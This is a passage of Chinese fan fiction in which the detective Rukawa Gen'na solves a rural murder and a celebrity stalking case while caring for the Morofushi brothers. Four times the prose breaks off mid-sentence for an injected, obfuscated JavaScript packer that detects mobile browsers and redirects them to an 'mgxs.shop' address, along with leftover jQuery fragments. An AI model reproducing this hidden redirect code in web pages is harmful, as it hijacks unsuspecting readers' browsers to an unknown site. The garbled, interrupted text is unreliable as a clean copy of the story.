虎田家的家丁惊恐地看着她，不得不硬着头皮开口：“最近发生太多事了，我们家出了命案，实在诡异，命案时间和你突然移居到长野的时间差不多，再加上——” 流川玄奈接道：“再加上，啄木鸟会被瓦解的事情疑似和我有关，你们怀疑是我对虎田家下手，选择先下手为强。” 这样看，她还真是倒霉，虎田家这情况，本来是她精挑细选伪造身份的渠道，如今出了岔子，回头还得重新来一遍。 “不，不是……”家丁连忙摆手，“老爷只是想请你去谈谈而已。” 流川玄奈烦躁地叹了口气，再次声明：“我不是公安，啄木鸟会和我无关，别再自以为是找我麻烦。” 虎田家丁立刻点头，武器都在这女人手上，按她的身手，他根本不是对手。 可他又不能就这样回去。思来想去，他赶紧咽下口水：“老爷说，如果您不是警察，可不可以请您帮忙查查到底是谁在对付我们家，事成之后……” 流川玄奈再次打断道：“对你们家族和那些黑/警，灰色势力勾结的事情我不感兴趣，也不想扯上关系，不过——” 她弯起眼睛，那样冷淡的声音让人摸不清楚她到底在想什么，“作为一个侦探，我对你们家家丁遇害的案子有兴趣。 我很乐意帮你们查案。” 流川玄奈皮笑肉不笑的表情令这位家丁后背发凉：只见这女人向他伸手，他足足愣了好几秒，反应过来时，自己身上那部移动手机已经被那女人拿走，熟练地打开。 不愧是地头蛇家族，居然这时候就有移动手机了，似乎不是这个家丁自己的——不重要，流川玄奈拨下熟记的电话号码。 这部手机似乎有些问题，一直接不通，好在留言功能还在，最近的公共电话亭太远，流川玄奈还是选了先留言：“抱歉，我今晚不能及时回去吃饭了，辛苦你们两位去附近的饭馆吃点好的，买饭钱在门口抽屉里……记得给我打包一份。” 交代清楚后，流川玄奈提起精神：既然已经被盯上了，那就速战速决， 美好的亲子周末在等着她！ —— 都在长野县，流川玄奈花了十分钟坐车到了虎田家在的村子。 和预料中一样，啄木鸟会倒台后，与之有牵连的虎田家也受了影响，它明显不像流川玄奈所知道的那种黑/道家族。 房子很大，还有马厩和仓库，不过更像是普通地主……那几位说是家丁，其实还兼职他们家赌场的员工。虎田家能调动的人手，想来应该也就是赌场的常客，同村的村民。 会客厅里，年近七十岁的老人家神色萎靡，正叼着烟打量她。他是现任家主，虎田绳手：“你的名字是？” “流川玄奈。” “我是问，真实名字，”虎田绳手抽了一口烟，“或者，把你在那个组织的代号告诉我也可以。” 这老人显然又误会了什么……也难怪，她先前办身份证明时，是通过组织的渠道联系上虎田家的。 “没那个必要，”流川玄奈答得利落，“我来又不是说□□的事情，聊案子吧。” 虎田绳手见她淡定，也不敢再说什么——那个组织是他完全惹不起的存在，想到这，那些小心思也淡了，于是真的开始聊起案子。 “……总之，在我们家附近的林子里发现了家丁马场先生的尸体，四周没有任何足迹，连警察都很头疼。” 流川玄奈不以为然，她顺势递上名片：“我就是为了这种案件来的，你们准备支付我多少酬金？” 虎田绳手先是一愣，随即笑着拍桌：“你很有自信啊！如果能查清案件，借着这次案件铲平龙尾家的话，酬金要多少有多少！” “龙尾家？” “凶手不是你的话，就一定是那个世代和我们结怨的龙尾家！ 一旁的四十岁左右的大叔开口打圆场，他是虎田绳手的儿子，虎田直信：“老爹又在胡说了，那是老一辈人的恩怨，至少到了我们这代，已经没什么纷争了，以后也会像正常人家一样……你看，那边那几个放学回来的，就是我们两家的孩子。” 虎田绳手生气地没搭理儿子，流川玄奈倒是看了过去，窗外，四个男孩一个女孩结伴而行，十二三岁的养子，她看了会儿，评价道：“是蛮和谐的，和我家孩子年纪差不多。” 虎田父子同时愣住：“……？” 她相 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17204865|197161||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 当无奈：“对啊，我只是护照丢了嫌麻烦找你们搞定身份证明，我其实是本地人的亲戚。” 流川玄奈对亲子话题正是最感兴趣的时候——而这个话题也确实有利于拉近关系。这时，刚好一个卷发的中年女人向那几个孩子走过去，那女人的动作被流川玄奈所观察，她有些好奇：“这么多孩子，是收养的吗？” 虽然惊讶，虎田直信还是答道：“那位是我太太达荣，高个子的义郎是我姐姐过继给我的儿子，最壮实的是我儿子，剩下那三个则是龙尾家的小孩。” 流川玄奈点头，随即直接开口分析：“你太太并不是你小儿子的生母吧？继子亲子继母之间，协调起来一定不容易吧？” 虎田直信被说中心事，也忍不住开始诉苦：“可不是嘛，好在我太太眼里只有家里的生意，这次连啄木鸟会都倒台了，我计划干脆放弃赌场好了，她很不乐意，对灰色产业完全不肯放手啊。劝了好久，她这几天把注意力转移到孩子身上，真让人头疼。” “你懂什么？达荣比你有出息太多，我恨不得她是我的亲女儿，”一旁的虎田老爹听不下去了，说的话不像是假话，他继续命令道，“尽早带流川侦探去案发现场看看吧，再晚天都要黑了。” 流川玄奈对老人的态度当然不满，但没什么好说的，还是同虎田直信一起出发。 虎田家附近的林子刚下过雨，空气潮湿，没什么光线。 “这里就是马场先生遇害的地点。” 流川玄奈迅速下了马。方才，她因为不习惯，把绳子勒在手上，现在有些发疼。 分析案件可以让这些疼痛更加微不足道，流川玄奈蹲下身查看着受害者出现的地点……时间过去太久，线索有限。但从虎田宅走过来，其实也要不了多久。 “看吧，果然没什么线索了。” “是啊。” 她随口应着，心思却不在现场。 这里不久前有人来过，不仅刻意做了遮掩，而且，似乎是她熟悉的气味。 流川玄奈正愣着，身后突然传来急促的脚步声—— 两道年轻的身影从林间闪出，来势极快。 紧接着，一股浓烟扑面而来。流川玄奈立刻屏住呼吸，她知道在这个情况下怎么躲避敌人的攻击。 但换成无关利益的朋友呢？ 手腕被一把扣住。她有些惊讶，还是任由诸伏高明这么做。 这家伙，不在家里陪着景光，带着大和敢助跑到这里来干什么啊？ “没事吧，玄奈小姐。” 不同于语调的温和，诸伏高明正强势地拉着她走小路逃跑，流川玄奈一时间没反应过来踉跄了几下。 “抱歉，咳咳，那个人拿着弓，直接出面恐怕难以成功。” 与此同时，烟雾散去了些，流川玄奈回头看了一眼。不远处，虎田直信呆在原地，似乎没反应过来，下意识想要找弓，发现放在弓旁边的箭筒已经被人拿走——在大和敢助手里。 持有武器，家族背景，再结合虎田直信颇为凶悍的外表，流川玄奈猜到大概，应该是这两个高中生误会她被抓了…… 算了，流川玄奈低头看了一眼， 眼前比自己略矮一点的男高中生很紧张，他的表情难得这样严肃——拉住她一起逃跑的手却紧紧不放。 又是让人眼熟的一幕。 同样是拉着她逃跑，同样是姓诸伏的男子，同样是不曾松开的手。 ……流川玄奈不想解释这个误会。 至少现在不想。 “高明，谢谢你和敢助来救我。” 17.其徐如林 半小时后，村外的一处饭馆。 大和敢助听完流川玄奈的讲述，看着桌上自己好不容易拿到的箭筒，好一会才缓过劲来：“搞什么嘛，原来是去帮忙查案子啊，流川小姐你也真是的，为什么刚才不说清楚。” 流川玄奈耸耸肩，神色如常：“我刚刚没有反应过来。” 大和敢助嘴角一抽，这女人又在唬人。 “好吧，”见对方完全不相信，流川玄奈斟酌着措辞，坦白道：“你们救我的计划很优秀，也很让我很感动，我不想打断它。” “嘶，你都这样夸我了——”大和敢助难得想要谦虚一回，忽然发现流川玄奈的目光落在诸伏高明身上，他立刻反应过来，“等等，你这家伙绝对是只夸高明吧？” 诸伏高明也看向她，目光既担忧，又似乎有些不满：“玄奈小姐，下次遇到这种情况，还请不要以身涉险。至少……请和作为家人的我说清楚。” 作为家人——流川玄奈愣了一下，很快就坐直，认真点头保证：“放心，高明，我下次一定提前报备。” 诸伏高明反倒因为她突然的动作一怔，眼里的担忧顿时化开，他缓了缓，笑着问：“那么，现在要回去，继续和虎田家的人交谈吗？” 流川玄奈摇头：“不用了，这次的案件我已经全想明白了。”她看向面前两个少年，“你们常来这里吧？有认识的警察吗？直接带我去找警察吧。” 大和敢助不再多说，点头起身就要带路——他很敬仰这附近的甲斐玄人巡警，对方又刚好是参与这次案件的警察。 三人走出饭馆，晚风拂面，大和敢助在前，诸伏高明在她一侧走着……才走几步，他突然侧过头来，语气带着由衷的佩服：“只是在那个案发地点转了转，就知道了案件真相——不愧是能开侦探事务所的玄奈小姐。” “怎么会，”流川玄奈被夸当然开心，但作为家长，面上可不适合骄傲，她想了想，话锋一转，“你们两个也很厉害，高明，敢助，可以和我说说，你们是怎么找到这里的吗？” 诸伏高明便把来龙去脉简单概括了一遍：接到电话、沿着她平常走的路打听、分析情况、得知虎田家家丁遇害的案子、最后摸到案发地点埋伏。 “原来如此，这时代的移动电话果然容易出问题。”流川玄奈听完，若有所思地总结。 诸伏高明脚步一顿：“移动电话？” “嗯，我那时借用了虎田家家丁的移动电话，想给你报个平安。”流川玄奈有些失望，“没想到那部电话有问题，居然留言都留不清楚，让你们误会成这样。” 她顿了顿，忽然认真地看着诸伏高明。 “高明，你的推理我认可了，你一定能成为和我一样优秀的侦探。”夸奖的话语刚刚说完，流川玄奈便反应过来这样的话，听起来像是给小辈上压力，连忙补充道，“当然了，想不想当侦探随你……我都会支持你的。” —— 甲斐玄人警官的年纪在三十岁左右，他穿着整洁的制服，笑容温和。流川玄奈三人一到警局，就从他那里知道了案件最新消息：和案件有关的龙尾家，虎田家都派了人过来。 “虎田家的人说刚刚在案发现场发现两个可疑人士，”甲斐玄人压低声音，“他们怀疑那就是凶手。还说有个从市区来的年轻女侦探被劫走了……” 流川玄奈低头看了看自己，又看了看身边两个“可疑人士”兼“犯罪嫌疑人”，倒吸了口气，这才推门进去。 虎田家的长子，那位虎田直信先生看到流川玄奈带着诸伏高明两人一起出现，明显愣得说不出话。 “抱歉，是我家孩子误会我被绑架了……他们也是一片好意，说到底都是我的失责。” 流川玄奈认真的道歉，虎田直信张了张嘴，一副哭笑不得，不知道怎么开口的样子。 而坐在他对面的女人却没那么容易打发。她是龙尾家的家主，龙尾盛代，今年五十九岁。 她冷哼了一声，眉眼间很是不悦：“你们虎田家真是脸都不要了，自导自演说什么找到凶手，着急叫我们龙尾家的人过来，结果就是这么个误会？真拿我们当乐子耍啊！” “不，你们今天并没有白来，”流川玄奈出声，道歉时礼貌的笑容被推理分析时的冷静取代，她平静地扫过在场众人：“这起凶杀案的一切，我已经想清楚了。” 房间里立刻安静， “凶手将马场先生骗到马厩，迷晕后放在马上，再用和马一样颜色的大衣盖住，就可以在所有人眼皮底下将死者运到树林，” 流川玄奈的语速不快，她将路上想好的台词全部说出：“到达树林后，犯人从树后将受害者绑在树上，配合事先套好的绳套。” 甲斐巡警恍然大悟：“如果是这样，犯人留下的马蹄痕迹，大概是在受害者的遗体被发现时，被我们其他人的马给不小心掩盖掉了。” “是啊，可以佐证这些的，”流川玄奈点头，“就是你们在受害者附近树上发现的黑色外套，最近时常下雨，但那件外套是干的。” “而能做到这些的，一定是龙尾家的人。”流川玄奈顿了顿，从口袋里摸出一张纸条，“警官，这是我在案发现场发现的，和龙尾家有关。请把龙尾家的人扣住……虎田家的人可以放走了。” 这是她路上想好的剧本。 龙尾盛代愣了一瞬，随即涨红了脸，边咳嗽边大骂：“胡说八道！哪来的纸条？我在案发现场怎么没见过？” 大和敢助也有些疑惑，他比流川玄奈早到案发现场，可没见到什么纸条。他正要开口，却被诸伏高明拉住，后者摇了摇头。 案件收尾相当迅速，等到心情愉悦的虎田家全都走光，龙尾家的老奶奶也气得差不多。 流川玄奈这才松口，将纸条给众人展示。 一张白纸。 “你——！” 流川玄奈试图解释：“龙尾女士，我知道你们家和这次案件无关。” “你知道你还这样做？！你到底安的什么心思啊啊？！” 流川玄奈挤出的笑脸被无视，果然，安慰老人不比安慰小孩简单。 她干脆直接切入正题：“实际上，能够实现我刚刚说的手法的，只有虎田家的人。只要查查谁的马是黑色的，或者那天寻找失踪的家丁时，谁骑着黑色的马，就可以找出凶手了。” 诸伏高明点头：“原来如此，那么刚才，玄奈小姐的目的只是为了让虎田家的真凶误以为我们抓错了人，从而放松警惕……这倒是和那个计谋很像。” 大和敢助和好友对视一眼，笑道：“空城计！” 甲斐警官有些好奇：“空城计？” “大开城门，偃旗息鼓。”诸伏高明解释着，“是诸葛孔明在危急处境下，通过掩饰空虚，骗过敌人的谋略，不过敢助，玄奈小姐这次更像是——” “都是欺骗敌人放松警惕那一套，没什么区别 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17214050|197161||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 啦。” 流川玄奈点头：“对，我想真凶应该就是虎田家的儿媳达荣，她是虎田家赌场的实际经营者，还请警方现在就赶过去——务必在下一起命案发生前把她抓住。” 大和敢助收敛了笑容，立刻上前一步：“我和高明也要去。” “你只是高中生而已。” “我在格斗上应该比你更强吧？” 和她比什么？流川玄奈反应过来，笑着解释：“想什么呢，我怎么可能跟过去，” 她现在只想赶紧回家，诸伏景光还一个人在家里呢。 —— 目送警察队伍出发，流川玄奈也准备回家，看到留在局里的甲斐玄人，她有些好奇。 “甲斐警官不去吗？” “局里也得有人守着。”甲斐玄人笑了笑，朝龙尾盛代的方向努了努嘴，“再说，我得安抚一下这位老太太。仁慈为友，仇恨乃敌——两家的矛盾，总得有人化解才对。” 流川玄奈听了，沉默一瞬，到底还是开口：“甲斐警官，虎田达荣杀害自己家家丁的理由，目的就是挑起两家矛盾。” 她的声音一如既往平静，让人听不出什么情绪：“虎田达荣想用仇恨，让虎田家其他人不要因为啄木鸟会的事情放弃发展灰色产业……还有那些赌徒也一样，他们可不想看到两大家族和睦发展，总有一天会闹出人命的——甲斐警官，你还是远离他们吧。” “流川小姐，你的好意我心领了，正因为这样，我才更得参与进去。”他说，语气温和但坚定，“让整个村子和平相处，是我作为警察应该做的。” 流川玄奈微微怔愣，她没再开口劝阻。 ……诸伏景光的家乡，怎么全是这种人啊。 —— 就这样，一波三折的周五在大和敢助来蹭饭的晚上中画上句号。 次日一早，流川玄奈就收到虎田家寄来的酬金。送钱的家丁相当不情愿，估计他们家家主也是这个态度，流川玄奈自然无语，这么不愿意就别给啊！ 不过，这笔酬金确实不少，那位家主老头子看着凶神恶煞的，没想到还挺守信的，加上先前剩下的钱，买车似乎已经可以安排上了。 流川玄奈盘算着，今年是新款马自达发售的时间，穿越前，苏格兰还有波本，那两个人不知道为什么，似乎都对马自达情有独钟。 她本来想买来接送诸伏景光上下学，但那孩子貌似交到了可以一起上学的朋友，这样每天和伙伴们一起走，根本不需要她这个当小姑的瞎操心。 算了算了，车买来总有用处。下个周末，不，明天。如果今天去买车，周天就可以自己驾车带诸伏兄弟一起去东京兜风了！ 流川玄奈的很设想美好， 周六中午，一天中最热的时候，她刚刚和景光合力完成午饭，还没打算出门，门铃突然响了。 “打扰了，请问是流川侦探的家吗，我看到事务所门口的字条说有急事可以来这里找您。” 猫眼外，那是一个让人过目不忘的年轻女性。她似乎是跑过来的，额头还沁着细密的汗珠，一头棕色卷发，皮肤白皙，是根本不需要修饰的容貌——远不止是这个时代的美丽， 是直到十六年后都被人们怀念的存在。 流川玄奈没有犹豫，直接拉开门。 尚且年轻的女明星看到流川玄奈，明显松了口气，急切又认真地开口：“侦探小姐，请帮帮我，我被跟踪了。” 18.超人气女星与案件 “藤峰小姐，真没想到，居然是那位毛利小五郎推荐你来的。” 流川玄奈有些意外，眼前这位可是当红女星藤峰有希子，刚出道就包揽各类奖项——这样的人，居然和之前案子遇到的不靠谱大学生有关系。 年轻的女星摘下低调出行的帽子和墨镜，在沙发上坐下，笑着解释：“我和他，还有他女朋友，是很要好的中学同学。” “原来如此。”流川玄奈朝好奇探头的两个学生招了招手，倒了杯茶后在另一侧坐下：“那两位是我堂兄的孩子，现在由我照顾。他们很聪明，也帮我破过案子——不过您的事情特殊，放心，我一个人处理就行。” “没事的，你家这位高中生一看就很聪明，”藤峰有希子的目光从诸伏高明移到诸伏景光，弯了弯眼睛，“这位小朋友也很可爱。” “谢谢姐姐。”诸伏景光红着脸小声道谢。一旁的诸伏高明恰好忙完自己的事，也饶有兴致地在沙发旁坐下。 他也很好奇，面对这样的案子，流川玄奈又会怎么解决。 “藤峰小姐，您说被跟踪了，具体又是什么情况？” 藤峰有希子放下茶杯，话里带着担忧：“是这样的，这次来长野拍戏，一开始住的酒店有些偏，我每天收工回去都会收到莫名其妙的照片，也总是接到没有声音的电话…… 换了酒店也一样，要不是这次的剧本真的很不错，我都想直接离开了。” 流川玄奈将信息记下，另一手单手撑着下巴推测：“换酒店后还会发生——会不会是您身边有人透露了您的行踪？” 藤峰有希子点头：“我也是这么想的。剧组的工作人员并不清楚我的全部行踪，能在下班后还知道我去向的，也只有两位。” 她顿了顿，继续说道：“第一位是我现在的经纪人，她和我合作很久了，这次像以往一样特意从东京赶过来，就住在我隔壁，老实说我并不想怀疑她。 第二位则是导演帮忙在本地招聘的临时助理，是一个不爱说话但做事很有条理的年轻男孩——每次都是他第一个发现那些照片的。” 流川玄奈想了想，又问：“您还记得每次发现时酒店那边的情形吗？还有频率，酒店有人知道这件事吗？” “大概……是两三天就有一次，照片被放在房间门口，内容是我当天在片场、饭馆的模样，电话则是在晚上打过来，次数就更少了，我和酒店的人员也反馈过，说起来……”藤峰有希子恍然大悟：“有位工作人员似乎热情过头，总会在我得空时介绍这附近有趣的地方。” “最近是旅游旺季，这很正常，不过他也算了解你行踪的人……把这位也加上的话。” 流川玄奈看着罗列好线索的纸张，一旁，诸伏景光好奇道：“接下来，是不是要开始推理了？” 藤峰有希子笑了，她似乎对这个年纪的孩子很有兴趣：“你们两位有什么看法吗？要不要来打赌？猜对了我会给你们额外的签名哦。” 相比起刚进门时的温柔受害者样，这位女星的本性显然要更加大胆贪玩。 诸伏景光认真想了想：“只听描述的话，我猜是那位酒店员工。” 诸伏高明也不紧不慢的开口：“我想应该是那位临时助理，‘近而示之远，远而示之近’，作为本地人，他清楚最快冲洗照片的路线，又总是第一个发现照片…… 如果是住在隔壁的经纪人，晚上外出打电话，一定会很明显的。” “诶，不愧是哥哥，我都想改主意了” 被弟弟这样夸赞，饶是诸伏高明，说话的声音也不自觉柔和：“想改怎么改都可以的，景光。” 藤峰有希子笑着转向流川玄奈：“流川侦探呢？我听了你解决东京连环杀人案的事，实在是很期待你的推理。” “您的案子现在怎么讲都是纸上谈兵，”流川玄奈往沙发上一靠，自信一笑：“您今天瞒着他们所有人来找我，一路上也没像之前一样，感觉有人跟踪，对吧？” 藤峰有希子点头。 “那就简单了，”流川玄奈起身，“现在，麻烦您把行踪不经意透露出去——请放心，我会跟在您身边。” 她边说着，边为了让客户放心，从抽屉里拿出（为了做好侦探工作购买的）电击/器、麻醉枪掂了掂。 藤峰有希子愣了一下，随即失笑。 “确实，这是最快的方式。” 她居然是这样的侦探。 —— 两人并排走在街上，藤峰有希子重新戴上墨镜，压低了帽檐，流川玄奈也做了伪装紧跟在她身旁。 “说起来，没想到连侦探小姐您都听过我的名字，真是荣幸。” “您太谦虚了，《明日再见》是非常出色的电影。”流川玄奈并非客套，她对藤峰有希子何止是略有耳闻，她自然地转移话题，“您的变装技术比我这位侦探还要优秀，这就是作为演员所需要具备的吗？” “啊，是之前为了演戏特意学习的，”她笑着看向流川玄奈一身普通打扮，“侦探小姐在这一带小有名气，这样易容后看起来也会很像是我平常的助理一样。” 流川玄奈点头，两人继续往前走，街边的店铺正亮着灯，这条商业街正在举行步行者天国的活动，人不算少。 “拍戏这段时间，我每天收工都想去不同的店吃饭。可惜总有人跟着，没办法自在。” “今天可以自在一点。”流川玄奈说完，藤峰有希子正要接话，就见流川玄奈忽然放慢脚步，用只有两人能听到的声音低声道：“先不要回头，右后方有个男人刚刚拿出了什么。” “是相机。”作为女演员，她对这个声音实在敏感。 流川玄奈拉着藤峰有希子保持步速左拐右拐，进了条不算太深的巷子。 她突然转身，跟踪的那人还没来得及反应，已经被流川玄奈按在墙上。 “别动。” 那是个二十出头的年轻男孩，戴着棒球帽，脸色煞白，嘴里嘟囔着：“我、我只是……” 藤峰有希子走近，接着手机的光线看清了男子的脸。 “有点眼熟……”藤峰有希子很苦恼。 那男子不敢吭声。 就在这时，巷子另一头忽然传来急促的脚步声——又一个黑影冲了过来，身形高挑，戴着黑色毛线帽，直直奔向藤峰有希子。 流川玄奈反应迅速，立刻松开手上的男子。 她和藤峰有希子站得近，想要拦截不难，甚至可以用回击的动作让对方先丧失行动能力——藤峰有希子看到她拿出电击/器，急忙抬起手：“等等，是自己人。” 跑来的黑帽男子在几步之外停住，摘下帽子，并不说话，只是朝有藤峰希子点了下头。 “这位是、是我的保镖。”藤峰有希子对流川玄奈解释，有点不好意思地笑了笑，“他今天才从东京赶过来暗中跟着我，之前忘记告诉你，真是抱歉啊。” 流川玄奈在说话的间隙又把跑掉的犯人抓了回来，她在犯人和保镖间打转，作为被雇佣的侦探，理所当然相信了雇主临时的说辞。 只是那位‘保镖’的演技比不上藤峰有希子的十分之一。 流川玄奈想早点盘问出是谁讲藤峰有希子的行踪透露给跟踪者，对方却被她吓得连连点头又摇头：“不是我！我不知道……”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17223896|197161||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 一旁的‘保镖’突然开口，相当胸有成竹，推理断案对他来说似乎是家常便饭：“‘近而示之远，远而示之近。’是孙子的语录。意思是制造虚假动向迷惑对手，譬如，本来想从近处下手，却装作要远攻。” 他的目光落在男孩身上：“看似是不明人士所做的跟踪行为，背后指使的人，其实就在有希子小姐身边。” 他转向藤峰有希子：“来之前，我去了你下榻的酒店，问出来了——是你那位经纪人请那个员工给你推荐游玩地点……” 流川玄奈眯着眼打量这位‘保镖’……她的词都被他给说光了。 好在案件解决，酬劳依旧到她手上。 次日中午，藤峰有希子为了表达感谢，请了流川玄奈一家一起去附近的商场吃饭。 诸伏高明许久没来这里，他带着弟弟在附近新开的书店先逛，流川玄奈则是和藤峰有希子先一步在餐厅落座。 流川玄奈切着牛排，突然开口，语气随意：“其实我很好奇，为什么遇到案件不找您的未婚夫——那位世界有名的推理小说家，反而找我？” “诶？！”藤峰有希子手上的动作顿了顿，年轻的女星表情管理短暂地失控，她笑着想要说些什么。 流川玄奈还在有一刀没一刀地乱切着：“那个突然出现的男子，看向有希子小姐时的眼神，怎么想都不觉像是保镖。” 看到有希子的表情，流川玄奈笑着说：“我家孩子在聊案子引经据典的时候，您用移动电话给他发了信息吧？这个年代有手机的人可不多。” 藤峰有希子放下刀叉，也笑着谦虚道：“毕竟流川小姐你是真正的侦探。优作他只是初出茅庐的小说家啦。” “是吗？他跟警方合作的案件实在太多。我听说他一年前在米花中心大厦向你求婚的前一个小时，都还在处理案件。” 藤峰有希子连连眨眼：“……原来流川小姐是我的粉丝啊。” 她这才后知后觉，自己这是找了个过激粉丝帮自己查过激粉丝啊。 流川玄奈没有否认：“是啊，《明日再见》我看了三遍。” 藤峰有希子停下刚刚重新拿起的刀叉，偏头看她，墨镜后的眼睛弯起来：“三遍？真的假的？” “真的。一开始是……是位朋友带我去看的，”流川玄奈回忆道，“最后那个长镜头真的很伤感。” 她每次看，都会想到藤峰有希子已经结婚引退的事实。 “对了，有希子小姐未来是怎么考虑的？继续当往国外发展？还是……退出演艺圈？” 没准备好的话语不自觉出口，她自己都有些意外，连忙补充道：“啊，我不是在打听什么。只是有些好奇，那些当红影星引退，都是怎么想的？有什么东西，值得放弃苦心耕耘多年的……梦想。” 她像以往没准备好的时候一样，说出的话显得慌乱。 毕竟，能在这位传奇女星退出影坛的两年前见到她的机会不多。 为什么会要为了某个人引退？为什么要放弃如日中天的演艺事业？这是流川玄奈的疑问。 藤峰有希子因为话题的变化，先是微微一怔，随即轻轻叹了口气，眼底泛起温柔的笑意：“虽然不知道原因，但是流川小姐，你看起来很迷茫。” 轮到流川玄奈一愣了，这是她穿越前，遇到那个人前后都存在的迷茫。 “你其实是想问，”藤峰有希子看着她，声音轻缓，“到底什么情况下，一个人会愿意为其他的事物或者人放弃梦想，对吧？” “你是遇到了无论如何都不肯放弃梦想的人？ 还是遇到了想要为之放弃梦想的人？” 19.马自达与司机 “你是遇到了无论如何都不肯放弃梦想的人？还是遇到了想要为之放弃梦想的人？” “……都有吧。” 流川玄奈垂下眼：“我其实最困惑的是‘梦想’这个词。” 这种做梦一样的事情，只能在少年漫画里哄哄小孩罢了。对于成年人来说——流川玄奈突然反应过来，眼前的女星如今也才十九出头，比她还要年轻。她无奈地笑笑，还是转移了话题：“有希子小姐会在什么情况下引退？” 藤峰有希子笑着：“是啊，嗯，我想至少那个时候我已经达到了我认为的巅峰，收获到了我想要的一切，过上我选择的生活。” 这样啊， 愿意舍弃梦想的人……流川玄奈从前以为自己不是这样的人。毕竟她父母就不是，所以他们在最后的时候也没有放弃，还糟糕地把那份执念转移给她。 至于苏格兰……他的梦想，期待的生活又会是怎么样的？大概是组织覆灭吧？ 这太为难她了，流川玄奈胡乱想着，她一定会尽全力让诸伏景光幸福地活下去。 “您的回答对我很有意义，”流川玄奈抬起头，认真道，“非常感谢。” 藤峰有希子摆摆手：“流川小姐帮我解决了案子，还给优作提供了小说素材，我陪你聊会儿天而已，不算什么啦。” “小说素材？” 藤峰有希子肉眼可见有些慌乱，她正要说什么，一旁，一道带着笑意的男声从身后传来。 “没事，我迟早也要向流川侦探正式请教一番。” 是先前那位‘保镖’，戴着眼镜的年轻男人，他自然地在藤峰有希子旁坐下，谈吐间气质温和，“您之前的推理没有错，在下是推理小说家工藤优作。” “表面上是突然活跃起来，行事作风干脆利落的风云侦探，私底下居然还带着两个孩子，流川小姐的形象真的很适合作为小说人物，您会介意吗？” 流川玄奈一愣，她是侦探，但选择这个职业只是为了行动方便，以及天赋使然，她对推理小说兴趣不大，对工藤优作也只是略有耳闻。 不过能成为别人书中的主角？这位可是未来全球知名的作家，不谈对她事务所的好处。景光在学校说出去的话，肯定很有面子！高明说不定，也会在推理时引用书里‘她’的台词。 流川玄奈思路跑偏，想象到的情景让她有些激动：“当然可以——如果能说清楚原型是我，就更好了。” 饶是工藤优作，也不由得扶起眼镜，他的表情同一旁的有希子如出一辙。 流川玄奈查案时的冷漠疏离，接近他太太时的莫名执着，还有此刻突如其来的亢奋 嘶……果然很适合作为‘福尔摩斯’的对手啊。 —— 推理小说的事告一段落，又是两周过去， 诸伏景光渐渐适应新的学校，流川玄奈同学校老师沟通过，出问题了总能第一时间解决。至于做噩梦的情况——据流川玄奈观察，频率低了很多，这孩子似乎晚上会偷偷溜到高明房间。 诸伏高明那边倒是不用她操心。学校最近要办的文化祭活动，主要由学生自主负责，他们班准备的似乎是甜品店有关的活动，PTA家长团队需要做的也只有提供经费，统计入校参观人员，维护当天秩序。 而流川玄奈自己，因为藤峰有希子的案件是秘密委托，对事务所的名气提升远没有之前东京连环杀人案和虎田家的案子来得明显。但有希子似乎跟身边的人提起过她，在长野拍戏的导演居然找上门来问她要不要客串，实在是有意思，流川玄奈礼貌地婉拒了。 她现在的计划除了赚钱，就是尽可能关心这对兄弟的成长。 又是周末， 流川玄奈开着新车，马自达626——她当然想买RX-7，波本和苏格兰的车都是这款。 不过诸伏高明贴心地帮她对比了长野车店里的所有款式，这倒是提醒了她，那款跑车的维护成本，以及后排空间有限，并不适用于全家旅 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17233044|197161||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 游。 于是，她转向了油耗经济，价格亲民，座位还宽敞的马自达626。 十岁的诸伏景光对车的了解不多，跑车也好普通车也好，马自达也好别的品牌也好，他都很开心。这意味着他们三个人可以一起在东京玩，可以一起去看零。 这一天居然来得这么快啊。 流川玄奈会开车的事并不会让人感到奇怪，奇怪的是——诸伏高明默默观察着，这位貌似无所不能的侦探，在车技上居然有些生疏。 明明正仔细看着前方，却像是察觉到他的困惑一样，这位小姑自顾自地开始解答，她总是很敏锐：“见谅，我好几年没有自己开车了。” 